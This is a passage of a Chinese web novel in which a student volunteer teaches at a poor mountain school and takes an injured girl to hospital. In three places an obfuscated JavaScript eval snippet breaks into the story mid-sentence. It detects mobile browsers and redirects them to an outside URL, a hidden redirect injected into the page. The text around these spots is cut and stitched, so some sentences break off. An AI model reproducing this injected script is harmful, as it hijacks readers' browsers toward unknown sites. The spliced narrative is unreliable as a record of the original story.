陈彦森似乎松了口气,拿起东西,丢下一句“我去叫校医拔针,然后去缴费”便匆匆离开。 待他离开后,李洛诗朝林舒眨眨眼:“他很紧张你。” 林舒一脸愕然:“啊?” 李洛诗:“刚刚你突然晕倒,我还没反应过来,他就已经背起你就往校医室跑,我在后面拼命追都没追上。到了校医室,他忙前忙后,你是没看到他紧张得都快哭出来的样子,我还是第一次见他这么慌张。” 林舒不以为意:“他对朋友是这样的。” 李洛诗还想说什么,这时校医进来拔针,她便没再说了。 拔针后,林舒和李洛诗走出房间,看见陈彦森已在校医室门口等着。李洛诗抓着陈彦森的手搭在林舒肩上:“我待会有课,我的女孩就交给你了。” 陈彦森的手有点僵,想移开,被李洛诗的眼神压制又默默放回原处。 到医院后,林舒做了全身检查,结果显示一切正常。 医生问:“你是不是容易焦虑?” 林舒犹豫了一下,点了点头。 医生说:“你有需要的话,我可以给你开点抗焦虑的药。不过每个医生的观点不一样,我的观点是,你现在情况不严重,如果能够靠自身去调节,那我建议先不吃药,不要去想自己焦虑这件事情,该吃吃该喝喝,把心态放平。我特别建议你去运动,运动会分泌多巴胺,人会开心一些。” 林舒:“我先不吃药了,谢谢医生。” 走之前,医生说:“小姑娘,你还这么年轻,学历也好,人生才刚刚开始,怎么会这么焦虑呢?” 林舒笑了笑,没回答。 陈彦森去取药,林舒坐在药房的椅子上,接到暑期支教的初面电话。 挂断电话后,她才发现陈彦森不知何时坐在她身边,没有发出一点声音。 “你吓我一跳。”她嗔怪道。 陈彦森说:“你想要去支教,就得运动。” “不。”林舒双手做了个“叉叉”的动作。 陈彦森循循善诱:“你不运动,哪能有一个健康的身体去乡村里教小朋友读书呢?” “不。”林舒全身细胞都在抗拒。 “那没办法了,我只能告诉师姐,让她好好考虑你的身体状况适不适合去支教了。”陈彦森改变策略。 林舒:“……” 男人是真的烦。 …… 晚上七点的操场上,林舒气喘吁吁地跑在陈彦森身后,两边都是不断超过她的夜跑人,她累得五官乱飞。 半小时后,她一口气没提上来,被口水呛到,不停咳嗽,只能停下。跑在前面的陈彦森停下,拉着她走到一边,拍了拍她的后背,拧开一瓶水给她。 林舒仰头喝了两口,上气不接下气地说:“我真不行了,头晕。” 陈彦森脸色一变,“去校医室。” “不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738889|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用,”林舒连忙制止,“我这是饿的。” 陈彦森:“那你想吃什么?” “烧烤,”林舒眼睛一亮,“走,我请你吃烧烤。” “为什么是你请我?” “上次说请你吃烤肉,后来也没花钱,今天姐补上。” 陈彦森:“那我选地方。” 他带着林舒七拐八拐,走进校外一道不起眼的小巷子,尽头是一家大排档,牌匾写着:标哥烧烤。 一进门,一个长相敦厚身材壮硕的男人满面笑容地迎上来:“小森,带女朋友来吃烧烤呀,快坐。” 陈彦森:“标哥,她不是我女朋友,我们是普通同学。” “好好好,普通同学。”标哥带他们到一旁的座位上坐下,拿出菜单,“看看想吃什么。” “我要这个、这个,还有这个,再要一份干炒牛河。”林舒把菜单推给陈彦森,“你看看要点什么。” 陈彦森又点了几个,标哥就去准备了。 标哥动作麻利,很快就上菜,一盘干炒牛河垒成小山,牛肉串上的牛肉鲜嫩多汁,烤玉米粒粒饱满。 陈彦森看了一眼隔壁桌的干炒牛河,一把拉住标哥,小声说:“你这偏心得太明显了吧?” 林舒跟着向隔壁桌望去,看见隔壁桌的干炒牛河比他们的分量少至少一倍,牛肉也没有他们的那么多。 标哥哈哈一笑:“我是见你的同学太瘦了,长身体的时候得多吃一点。” 陈彦森:“待会其他顾客有情绪,我看你怎么办。” 标哥轻轻推了陈彦森一把,笑道:“我都不怕,你怕什么?” 林舒见他们亲近,问道:“你们是认识很久了吗?” “那当然,小森这么小小一个的时候就经常来,”标哥比划了高度,接着说,“跟他哥哥一起。” “哥哥?”林舒看向陈彦森,“你有哥哥?怎么之前没听你说起过?” “那个——”标哥没有回答,指了指厨房,“我先去忙了,你们慢慢吃哈。” 林舒连忙说:“好的,你先忙。” 待标哥走后,林舒刚想开口问他哥哥的事情,陈彦森用碗装满粉,放在她面前:“你真的要去支教了?” 陈彦森知道以她的能力和韧性做任何事情都能成功,但是担心她的身体,便跟着一起报名,也获得了支教名额。 他如今这么问,也是希望她能考虑自己的身体状况再做决定。 这几个月以来,林舒过五关斩六将,终于在一周前收到进入录用信息。 多活几年的优势在这些时候发挥得淋漓尽致。工作时间一长,特别是在需要多方沟通的岗位上干了几年,什么牛鬼神蛇没见过,什么千奇百怪的需求没遇过呢?这种程度的面试真的小巫见大巫。 林舒从善如流,顺利通过多场面试,在最后一场笔试中也没有掉链子,拿到支教名额是实至名归。 林舒吃着牛肉串,口齿不清道:“当然去啊,为什么不去?我现在多做好人好事,死后投个好胎,免得下辈子做非洲行军蚁,被路过的非洲大象一脚踩扁。” 陈彦森:“……” 他有时候真的会跟不上林舒的脑回路,哑口无言。 顿了顿,他继续说:“我去了解过,我们被分配到的那所学校条件比较艰苦。” “怎么,你是觉得我吃不了苦吗?”林舒终于咽下嘴里的牛肉,“996的苦都吃了,这点苦算什么?” 直到站在那片土地上,她看着面前的景象,想揪着当时夸下口海的自己的耳朵,叫她好好看看这是什么环境。 15. 第四世(十二) 林舒一行十二人从南苑大学出发,坐高铁来到谷山市市区,换乘中巴前往大山。从市区过去要将近两个小时,一大半时间都在走环山公路,后段路程山路颠簸,车子像在玩超级大摆锤不停摇晃,车内众人也跟着东倒西歪。 林舒吸了鼻通,戴上口罩,双眼紧闭,尽量减少五官与外界接触,保存体力,因此在下车后只是胸口沉闷脚步虚浮,在喝了几口水后不适感减弱。 车上其他晕车反应比较大的同学就没那么幸运了,蹲在一旁的草丛中呕吐不止。 林舒和其他情况稍好的同学拿着纸巾和水,轻轻拍背让他们感觉舒服点。 待大家缓过来后,负责带队的志愿者谢瑞说:“十二个同学分成三组,每组四人,分别去三个学校。” 林舒、陈彦森、许家杭和楚洛西是一组,被分配到吉祥村小学。 楚洛西是南苑大学电气自动化专业大二年级的师兄,不苟言笑,看起来有点严肃。 吉祥村小学的校长魏纪歆亲自来接他们。 她看起来三十多岁,戴着金丝框眼镜,走近看镜框有点掉漆了。肤色与身后的大山同色,穿着有点皱的黑色棉麻上衣和卡其色长裤,在天色渐暗的山里与山中景色隐隐相融。 众人打招呼自我介绍后,魏纪歆领着四人边往学校方向走边介绍学校情况:“我们吉祥村小学一共6个班,一个年级一个班,一共86个学生。现学校有8个老师,兼任财务、后勤、行政工作。” 林舒感慨道:“8个老师管86个学生,这难度也太大了吧。” 许家杭说:“86个,又少了学生吗?” 许家杭来之前看过资料,她记得去年不止86个学生。 “是的,学生人数在逐年减少。”魏纪歆说,“从13年110个学生,到16年86个学生,如果学生继续减少到30人以下,我们就要并入3公里以外的一间小学。” 许家杭问:“那现在各年级分别有多少学生?” 魏纪歆:“一年级20个学生,二年级18个,三年级15个,四年级14个,五年级11个,六年级8个。” 说话间,一行人来到吉祥村小学校门口。 推开一道生锈的铁门后,是一片水泥地空地,前方是一栋两层高的教学楼,教学楼前是一个升旗台,上面立着一面随风飘扬的五星红旗,最右侧摆着两张乒乓球桌。 魏纪歆说:“一楼是一年级到三年级,二楼是四年级到六年级,以及一间办公室。我先带你们参观下教室。” 教室的地板是水泥地,没有铺上任何砖块,桌椅是木制的,能看得出来有些年头了,但十分整洁,没有被乱涂乱画过。 这是六年级的教室,摆放着八张桌椅,每套桌椅间隔着一定距离,真正实现了一人一座。 林舒读书的时候,很向往没有同桌。一个人坐,有一定自己的空间,又能跟其他同学聊天分享零食,既享有了独处空间,又能实现一定的人际交往需求。 但当偌大的课室内只有寥寥几张的桌椅摆在讲台前方时,林舒感觉到的是无奈和寂寞。多余的桌椅叠起来放在课室最后面,像无数个没能继续读书的孩子被永远地留在最后面。 六年级教室旁边是办公室,同样是木制桌椅,试卷和各种教学材料叠成一大沓摆在桌上。 “林舒教五年级的语文,许家杭教六年级的英语,陈彦森教五年级的数学,楚洛西教六年级的数学。”魏纪歆说,“这样分配,大家觉得可以吗?” “没问题。”大家点点头。 “那我带你们去看看宿舍。” 魏纪歆带着大家下楼,来到教学楼旁一栋低矮的楼栋。她站在楼前站住,回过头带着歉意的语气说:“因为资金有限,所以给到学生的尽量好,老师的就相对差一点。我知道你们都是一线城市长大的孩子,估计也没见过山里的环境,提前跟你们打个招呼。” “理解的,”林舒说,“孩子们要读书,肯定要吃得好住得好。” 话虽是这么说,但当林舒踩在吱呀作响的木质地板上,看到房间内的环境时,内心还是咯噔了一下。 房间不到十平方米,左侧摆着一个双层床,靠窗的位置摆着一张书桌和椅子,旁边有一个柜子。 四面墙壁用白色的纸遮盖着,其中一张纸没有贴牢,掉下一角,露出原本墙砖的颜色,是青灰色的,有岁月的痕迹。 窗户是由两个“目”字组成,垂着白色的窗帘现在被高高卷起,太阳落山前的阳光从这扇窗照进来。 林舒感到自己在下意识踮脚,想让自己变轻一些,总觉得再用力一点,脚下这块木地板会断掉,他们五个人会从这里摔下去。 她后退一步,不小心撞到一旁的柜子上,柜门咯吱一声从右边脱落,站在她身后的陈彦森眼疾手快伸手扶住。 “没事没事,这柜子是这样的。”魏纪歆上前将柜门往上抬一抬,“你们这样往上托着再推开,门就不会掉下来。” 大家无声地点点头。 魏纪歆说:“这里有两个房间,两个女生住一间,两个男生住一间。” 陈彦森和楚洛西去隔壁房间看了一眼,回来说:“我们住那间吧,你们女生就住这间。” 魏纪歆:“行,那参观好了,也分好房了,我们去吃饭吧。” 林舒随众人离开前,往隔壁房间看了一眼,里面黑咕隆咚的,窗户只有她们的一半大。 饭后,洗澡才是大问题。 山上水力有限,他们只能用水桶接自来水洗澡。洗澡的地方没有灯,林舒提着桶站在外面犹豫了十分钟,还是没能鼓起勇气进去。 最后是楚洛西先去洗澡,陈彦森举着手电筒站在外面为他照亮;待陈彦森洗澡的时候,换楚洛西举手电筒照亮。 看到两个男生都顺利洗了澡,林舒才鼓起勇气进去,她走了两步又折回,拉着许家杭的手说:“师姐,你不要走开哦。” 许家杭拍拍她手背,“放心,我就在这,他们也在这。” 林舒看了她一眼,又看了两个男生一眼,忐忑地走进去。 许家杭见她实在害怕,便说话分散她的注意力:“林舒,你待会睡下铺吧。” “不,我喜欢上铺。” 许家杭:“上铺比下铺小将近一半,你是故意让给我吧?” 林舒:“你想多了,我就是喜欢上铺,上铺空气新鲜。” 许家杭笑了:“真拗。” 陈彦森双手高举着手电筒一动不动站着,侧耳听着水声。有水声证明她在,证明她安全,是黑夜中最让人安心的声音。 里面的女孩突然喊他:“陈彦森。” 他的心一紧,下意识全身肌肉紧绷,立即回答:“我在。” 女孩继续说:“来之前,你不是担心我适应不了吗?我现在感觉挺好的,今晚吃饱了,现在也洗上澡了。唯一的缺点就是……” 她打了个寒颤,吸了吸鼻子,“这山里的水是真凉啊。” 陈彦森低下头,嘴角微微弯起:”明天让你洗上热水澡。“ …… 第二天,四人开始支教生活,分别到各自负责的班级中去上课。 中午的时候,林舒端着碗跟学生们一起吃饭,看到绝大多数孩子都是从书包里掏出一块白布,掀开白布,里面是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她虽是来支教的,目的是教她们知识,但同时她们也在教她生活。 她们互为老师。 大家摘了一些蔬果,老师们拿出锅碗瓢盆给孩子们做晚餐。林舒忙了一个下午,身上都是泥巴,此时也顾不上脏,洗干净手便帮忙一起做饭。 魏纪歆看到她脸上灰扑扑的,用衣袖给她擦了擦脸,有点不好意思地说:“林舒,我要跟你道个歉。” 林舒正卖力地抡着锅铲炒菜,菜和油的碰撞发出很大声的声响,她不自觉提高音量:“为什么要这么说呀魏校长。” 魏纪歆:“昨天第一次见你,觉得你瘦弱、白净,长得又好看,一看就是十指不沾阳春水、吃不了苦的样子,跟之前一个来了两天就跑了的支教老师很像。今天深入接触才发现,你跟外表看起来差别很大,是我以貌取人了,所以我得向你道歉。” 林舒:“魏校长,每个人在遇见新的人时都会在心里先掂量掂量,在相处前有任何想法都是很正常的。你能将心底话讲给我听,说明你是一个坦坦荡荡的人。” 她冲魏纪歆甜甜一笑:“我很喜欢你。” 许家杭在一旁择菜,也加入聊天:“说实话,林舒看起来确实像富养长大的小孩,有傲气有善心,有点矛盾的特征同时出现在你身上却异常和谐。” 林舒盖上锅盖,“算不上富养,我爸是空调师傅,干苦力活,我们过的就是普通生活,只是他们会尽自己所能把最好的给我,除了学钢琴。” 正说着,一个学生急匆匆地跑进来,大喊道:“老师,老师,张绵绵出事了!” 16. 第四世(十三) “张绵绵?” 林舒噌一下转身,差点把锅推翻了。 张绵绵是今天下午跟她一起种地的三年级小姑娘。放学后老师们要做大锅饭,邀请学生们留下来一起吃,但不是每个学生都留下,有的得回家给劳作一天的父母做饭,有的要赶回家做家务、喂鸡喂鸭。 所以张绵绵说不留下吃饭,林舒也没放在心上。 现在听到她出事了,她急得不行。 “张绵绵出什么事了?”林舒着急地问。 学生回答:“在玻璃厂,被碎玻璃片割到眼睛。” “割到眼睛?”林舒声音都变了,她扔下锅铲,双手在衣摆处擦了擦,“快带我去。” 魏纪歆也跟过来,三个人急匆匆往玻璃厂跑去。 玻璃厂距离学校不过500米,三人很快跑着过去很快就到了。 林舒远远就看见一个小小的身影坐在玻璃厂门前,手捂着左眼,不哭不闹,就这么静静地坐着。一群人围在她身边,一人一句闹哄哄的,其中一个女人蹲在孩子身边,发出嗯嗯啊啊的声音,不断打手势。 那群人见学校的老师来到,纷纷散开让她们靠近,带头的大叔说话带着浓厚的乡音:“魏校长,绵绵这娃伤眼睛了。” 林舒蹲下,轻声对张绵绵说:“绵绵,给老师看看。” 张绵绵没有说话,但也不抗拒,林舒趁机轻轻拉开她捂着眼睛的手。 一道深深的划痕从眉心开始,穿过眼睛,一直延申到眼下,鲜血将左眼遮盖,触目惊心。 林舒的心剧烈地跳动着,抬头对魏纪歆说:“魏校长,我们现在要马上去县城的医院,不能再耽误了。” 大叔说:“我也说要去医院,这娃娃不肯嘛。” 为什么不肯去医院? 林舒轻声问张绵绵:“绵绵,你可以告诉老师为什么不想去医院吗?” 张绵绵还是没说话,但微微抬起眼睛,朝一旁哭成花面猫的妇人看了一眼。 林舒顺着视线望去,刚刚进来着急没细看,现在仔细看,那妇人与张绵绵五官和轮廓有几分相似。 林舒顿时明白过来:“她是你妈妈,是吗?” 小姑娘垂下眼眸,默认了。 原来她的妈妈是聋哑人,她不愿意去医院,是因为妈妈吗? 林舒循循善诱:“你是不是怕花钱?没事,老师有钱,绵绵不用怕。”她说着,摸了摸张绵绵的脑袋,小脑瓜子湿漉漉的,许是出汗出太多了。 张绵绵终于开口说话了,声音很小:“林老师,我是不是会瞎?” “怎么会?”林舒揉了揉她的小手,“现在医学很昌明的,你的眼睛一定不会有事的。” “真的吗?”没有受伤的右眼流露出一丝期盼。 “真的,”林舒声音有点哽咽,但她强撑着,伸出小拇指,“林老师跟你拉钩。” 小小的小拇指勾上来,软软的。 她还这么小,怎么就要吃这苦。 林舒没忍住,一滴泪落在地面上,瞬间融进泥土里不见了。 张绵绵伸出小小的手,搂住林舒的脖子,林舒顺势将她抱起。 魏纪歆见林舒哄住张绵绵,问围观的玻璃厂工人们:“你们有车吗?” “有,我有。”大叔将三轮摩托车推出来,“老师,快上车。” 张绵绵背对着众人,搂住林舒的小手紧了紧。 林舒对魏纪歆指了指张绵绵,又指了指自己,做了个OK的手势,说:“绵绵不用怕,你安心抱着林老师睡一觉,睡醒就到医院啦。” 魏纪歆眼看张绵绵伤势不轻,肯定是要做手术的,摩托大叔粗枝大叶的做司机还行,做决定不可靠,得找个人陪林舒一起去。 再加上现在天色渐暗,从这里到县城有二十公里路,山路崎岖,路上没有灯,林舒一个小姑娘带着一个受伤的小孩,一路颠簸到县城,万一有什么事想找个人商量都没有。 刚刚学生跑来说张绵绵出事的时候,吼的那一嗓子引起全部人的注意,现在学校里肯定很乱,她需要回去维持秩序。 张绵绵的妈妈是聋哑人,一辈子没出过大山,看到孩子受伤了便一直哭到现在,不适合一起前往。 怎么办呢? 就在这时,急促的脚步声从不远处传来,正向着这边靠近。伴随着脚步声的是着急的声音:“张绵绵怎么样了?” 就他了,他最合适不过了。 魏纪歆:“陈彦森,你陪她们去县城的医院。” 陈彦森一愣,看到林舒紧紧抱着张绵绵,像抱着全世界,顿时明白过来:“好的,魏老师。” 两个大人一个小孩刚坐上车,摩托大叔脚用力一蹬:“出发!” …… 县城医院里,医生做完检查,摇了摇头说:“这手术我们这里做不了,得去市区的医院。” 四人不作停留,离开县城的医院。大半夜的也不知道陈彦森从哪搞来一辆小车,林舒一直抱着张绵绵,身体疲惫到极致,顾不上那么多,赶紧坐进去。 陈彦森脚踩油门到底,夜间道路空旷,车子都快飞起来了,林舒有轻微的失重感,但很奇怪,她不觉得危险,反而觉得很安心。 车子开得越快,张绵绵越能早点看上医生。 来到市里的医院门前,车子还没停稳,林舒就抱着张绵绵冲了出去。 从外人视角看,一个女生抱着一个小孩从还没停稳的车子里跳下来,往医院飞奔而去。虽然她跑得头发都乱了,但奔跑的时候还不忘护着小孩的脑袋。 她这架势冲进急诊室,像是战争时期逃难的姐妹俩,在门外候诊的病人自动散开让出一条路。 护士连忙上前查看伤势,而后急匆匆地安排他们进入一间诊室,说待会会有在病房值夜班的眼科医生过来做检查。 没过多久,一个医生进来给张绵绵做检查。 从受伤到县医院,再到市医院,从傍晚折腾到凌晨,大人都觉得疲惫,更别说小孩子了。但张绵绵一声不吭,乖乖坐在椅子上,左手紧紧攥着林舒的的手指。 医生轻轻扒下她的眼皮,她的身子剧烈地抖了一下,忍不住想眨眼,但强忍着疼痛努力睁开眼。 不能动,她对自己说,这个人能帮她。 不能出声,她又对自己说,不能打断医生的思路。 抓着林舒的小手不禁又紧了紧。 林舒感觉到小手在抖,心痛不已,见医生到一边写病历,便跟过去问:“医生,她怎么样啊?” 医生叹了口气,皱紧眉头:“怎么受的伤?” “在玻璃厂里,被碎玻璃划到了。”林舒的声音弱了下去,很没底气。 医生一年都不知遇到过多少这种粗心的家长,事发后他们的担忧在他看来无奈又讽刺。 苦的永远是孩子。 “这么小的孩子进玻璃厂,怎么没人看着她呢?”他抬起头,“你是她……” 他定了定,眼前的女生操着一口流利标准的普通话,顶着一张青春的脸庞,凌乱的头发也挡不住她独特的气质,她不是本地人,也不是孩子的妈妈。 他看向她身后的两名男子:“谁是孩子的家长?” 摩托大叔上前一步,双手绞在一起,像个做错事的学生,回答道:“这娃……爸爸死了,妈妈是聋哑人。这两个是老师,我跟她一个村的。” 医生愕然,已准备好的责备的话停在嘴边。 大叔继续说:“她爸爸中午干活时死在自家玉米地里,最后那片玉米地旱死,留下孤儿寡母。她妈妈身体不行干不了农活,就在玻璃厂里工作,女娃子挂念妈妈,放学就来厂里等妈妈一起回家,没想到……” “她太懂事,怕花钱不想治,还是这个老师哄她才来的。我们从山里出来,到县城医院说做不了,我们又来到这里,她也不哭不闹,很坚强。” “医生,她的眼睛能好吗?” 三双写满期待的眼睛齐刷刷看向医生。 三个与孩子没有血缘关系的大人走了些路,吃了闭门羹,连夜把孩子送来,没有让一株鲜花枯萎在黄土地里。 孩子做检查时不喊疼不乱动,因为她没有依靠,需用坚强建成盾牌方可抵挡世间的利箭。 他想说些好听的话,但是一张纸被揉皱再铺开,折痕会一直存在,无法复原。 他只能说:“我会尽量恢复她的视力。” 从业多年,他的满腔热血早已在日复一日的问诊和手术中消磨殆尽,变得有些麻木,总想着,按部就班就好了,做好工作职责范围以内的事情就好了。 但是现在,他希望自己会魔法。 …… 张绵绵这边在做手术前的准备工作,林舒和陈彦森去缴费。 林舒的手一直在抖,输密码时都按偏了,显示密码错误,她越急越错,手抖得更厉害了。陈彦森轻轻搂着她的肩膀,跟收费员示意取回她的银行卡,将自己的银行卡递了过去。 看到陈彦森成功输入密码,收费员面前的机器“滋滋”吐出单据,林舒苦笑了一声:“你看,我连这么简单的事情都做不好,有什么资格去怪别人。” 陈彦森看出她情绪不对,柔声道:“怎么了?” 林舒背靠墙蹲在地上,目视前方,但视线并不聚焦,缓缓道:“有一次,我在街上等红绿灯的时候,有个阿姨拉住我,说她跟家里人走散了,想借我手机打电话叫她家人过来与她汇合。这种骗子的手法见多了,我当时特别警惕,像个刺猬那样,大街上人这么多,她怎么就逮着我了?但是她看我的眼神很真诚,我犹豫后还是拿出手机。” 她陷入回忆:“我说,你念号码,我拨,声音外放。她也知道我在担心什么,与我保持着一定距离,直到那通电话结束。绿灯亮起,我走到马路对面回过头,看到一个叔叔走到阿姨身边,牵起她的手,往另一个方向走去。” “我觉得我的人性出现了裂痕。当别人向我寻求帮助的时候,我犹豫了,差点就做了不善良的人,我很难过。”她的眼泪忍不住落下,“就在刚刚,我还没弄清事实就先去责怪,我再一次不善良了。” 陈彦森轻轻为她拭去泪水:“以自己为先没有错。你也不知道那个人是不是骗子,你这么想没错。” 林舒哭出声:“在玻璃厂的时候,我很生气。她为什么让这么小的孩子进玻璃厂,为什么不看好自己的小孩,为什么没有在孩子受伤的第一时间送她去医院,只在一边不停哭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752291|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “绵绵的身子很冷,一直在发抖,我怎么都捂不热。她其实很疼,也很害怕。”她捶着自己的心口,“我的心好痛。” 陈彦森紧紧握住她的手,不让她伤害自己。他知道她需要发泄,便不说什么,乖乖做一个聆听者。 林舒抽抽搭搭地继续说:“我不知道她经历了这么多,我甚至都不敢想象她知道丈夫在农作时死去是什么反应的。作为一个没出过大山的聋哑人,她能振作起来到玻璃厂工作赚钱养活自己和孩子,是很了不起的,可我当时却在生她的气,在怪她。” “陈彦森——” 陈彦森连忙接上:“我在。” 她对他的回答没有反应,似在呓语:“其实我自己过得也不咋地,但是看到别人过得不好我就会很难受。为什么上天不能把金钱和幸运值均匀地撒给每个人,让大家都过得好呢?” 她低喃:“我想要好好活着,想要李洛诗好好活着,想要张绵绵好好活着,我很贪心吗?” 她好累,好累,靠在陈彦森的肩膀上,沉沉睡去。 …… 林舒醒来的时候,发现自己睡在长椅上。 醒来的地方太陌生了,她心一慌,瞌睡虫瞬间全跑掉,下意识喊了一声:“陈彦森。” “我在。” 熟悉且安心的声音从不远处传来。林舒循声望去,看到他站在病房前与医生谈话,朝自己挥了挥手。 林舒走过去,站在旁侧听了会,刚苏醒的大脑艰难地捕捉了几个关键词:保住眼睛、下午出院、一个月后放晶体。 两人聊完,齐齐看向在一旁不说话却一个劲点头的林舒。 林舒一醒来就听到好消息,心情大好,说话都不自觉地带着轻松的语调:“医生,我什么时候可以去看她?” “晚点吧,”医生看了看手表,“你们去给她买点吃的吧。” 林舒鞠躬:“好的,谢谢医生。” 医生走了两步,转过身说:“你们也吃点东西吧,辛苦你们了。” 他刚下手术没多久,疲惫感自双眼流出,青黑色的眼袋让他看起来更憔悴。脸部肌肉往下走,嘴角向下弯,是疲倦到极致时无法自控的体现。 林舒想起第一世的自己有几次在公司通宵加班,去洗手间洗脸让自己精神起来,从洗手盆抬起头,看到的也是这样一张脸。 这样疲倦的情况下,他依然很温柔地对他们说“辛苦了”。 遇到这样极好的医生,张绵绵很幸运;医疗体系里有这样极好的医生,大家都很幸运。 等张绵绵做完检查,再吃点东西,林舒等人帮她办理手续离开医院。折腾了一晚上,孩子心头大石落下,靠在林舒身上睡得很安稳,以至于山路这样颠簸都没醒。 回到玻璃厂,林舒把熟睡中的张绵绵交给她妈妈,后者忍不住哭泣却担心吵醒孩子,咬紧嘴唇强忍着,眼泪啪嗒啪嗒往下掉,示意他们等一下,然后从身后的柜子里拿出三袋东西递给他们。 林舒一袋,陈彦森一袋,摩托大哥一袋。 林舒打开一看,是满满的一袋子红薯,上面还有泥土,看得出是刚从地里挖出来的。这满满的三袋,都不知道够她们吃多久了。 她摆摆手,又摇摇头,想要把红薯还回去。 可张绵绵妈妈不肯收,将袋子往林舒身上推。 两个人都没有发出声音,但肢体替她们言语。 摩托大哥说:“林老师,你就收下吧,这是她感谢你的方式。” 是啊,她不会说话,也没什么钱,家里最值钱的就是地里的东西,也是最能果腹的东西。 林舒听罢,不再推辞,收下了满满一袋的心意。 陈彦森把袋子放在地上,对张绵绵妈妈做了几个手语动作,但见张绵绵妈妈一脸疑惑地看着,最后摇了摇头。 摩托大哥:“陈老师,你这是专业的手语吧?我们不懂这个的。” 陈彦森问:“那你们平时跟她怎么沟通呢?我想将医嘱告诉她。” 她不识字,也不会手语,要怎么沟通呢? 摩托大哥摸了摸后脑勺,有点不好意思地说:“我们平时都是用最简单的方式沟通,‘对’是点头,‘错’是摇头,要她干点什么就演示一遍。” 陈彦森沉思了一会,拿出药品,演示了一遍换药流程,最后竖起食指表示“1”,即一天一次。 张绵绵妈妈很聪明,朝他重重点头表示自己学会了、记住了。 摩托大哥又说:“陈老师,你也不用太担心,刚刚绵绵记住医生说的话,我也记得这药要咋换,我这几天都会提醒她的。” 陈彦森:“那麻烦你了。” 摩托大哥憨厚一笑:“哎哟哪里话,我们是同村的哇,应该的。倒是你们,你们是城里来的娃娃,来我们这里真是受苦了,应该要谢谢你们。” “我看你们昨晚忙前忙后都没休息好,”摩托大哥一手一袋红薯,“我帮你们拿回学校。” “不用不用,我们自己来就行。”两人连忙说。 “别客气。”大哥十分豪迈,迈开步子就往学校走,提着两袋沉甸甸的红薯步子依旧很稳。 他表达谢意的方式很直接,真诚又淳朴,就像他脚下的黄土地一样。 17. 第四世(十四) 林舒回到学校,学生们已经放学了,只有宿舍楼亮着灯。不知怎的,她觉得自己离开这里好久,一股亲切感温暖地包裹着她。 但她实在太累了,这个念头一闪而过,很快就被疲惫所掩盖。她简单吃了点东西,匆匆去洗澡。 入睡前,许家杭说:“今天楚卿没来上学。” 林舒眼皮打架,与睡意强作斗争,问道:“她有请假吗?” 许家杭:“没有,魏校长和其他同学也不清楚。” “那可能她明天就来上课了……”说完这句,她便再也撑不住,沉沉睡去。 虽然她当时困得大脑慢半拍,但是她第二天还记得这件事,特意去六年级班里找楚卿。 刚好是英语课上课,许家杭往教室里走。 六年级学生本来就只有8个,一眼便能看完,但林舒还是不死心,问道:“楚卿来了吗?” “如你所见。”许家杭指了指教室。 林舒皱眉:“她不像是这么没交代的孩子,是不是家里出什么事啊?” 许家杭:“魏校长也是这么说,她打算待会去她家里看看。” 林舒噌一下睁大眼睛,“那我跟魏校长一起去。” 许家杭一把拉住她,“你休息下吧,看你累得眼睛都没光了。” “没事没事,”她笑嘻嘻道,“现在这年纪抗造,我撑得住。” 说完,林舒飞奔下楼,刚好碰上魏纪歆推着小摩托往校门口走。 “魏校长,带上我!”她边跑边喊。 “林舒?”魏纪歆一脸疑惑地看着精气神十足的女孩向自己跑来。 林舒:“魏校长,我今天的课已经上完了,我想跟你一起去楚卿家里。” 魏纪歆顿了顿,而后拍了拍后座,笑着说:“上来吧。” 小摩托只能开到这个长满藤蔓的山坡前,接下来的路,她们需要手脚并用才能继续前行。 林舒一边爬一边喘着气问:“魏校长,你是第一次走这路吗?” 魏纪歆同样气喘吁吁,答道:“不是,孩子好几天没来上学的话,我们都会去她们家。这条路是必经之路,我走过无数次了。” 林舒又问:“像楚卿这样的情况很常见吗?” 魏纪歆扯着小坡上的一根树枝,借力往上迈一大步,才说:“在女孩里比较常见。” 直到林舒一身灰站在这座由土砖砌成的房子前,看着面前陈旧的木门被打开,露出屋里的情况,她才明白魏纪歆这句话是什么意思。 真的太穷了。 入门左边是一个房间,垂下门帘看不清里面的摆设;右边是最原始的柴火灶,方形的柴火灶上摆着一口锅,上方吊着一个装着鸡蛋的竹篮子,边上摆放着粗壮的树枝树干。 再往里走,左边是大厅,中央摆放着一张木质大圆桌和几张木椅子;右边是一个木楼梯通往二楼,林舒猜测楼上是房间。楼梯底下的墙角处砌了两面墙形成一个方正的空间,垂着带有花纹的塑料门帘,看起来像是洗手间,旁边有一个压水井。林舒在电视上见过,将水倒入井筒后不断下压手柄,就会有水从井筒处流出来。看这摆设,他们日常就在这里洗东西。 除此以外,家里便再无其他东西。 楚卿招呼林舒和魏纪歆坐下,林舒随意在最近的一把椅子上坐下,谁料身子一歪,幸好一旁的魏纪歆眼疾手快扶住她,不然她肯定一屁股坐地上。 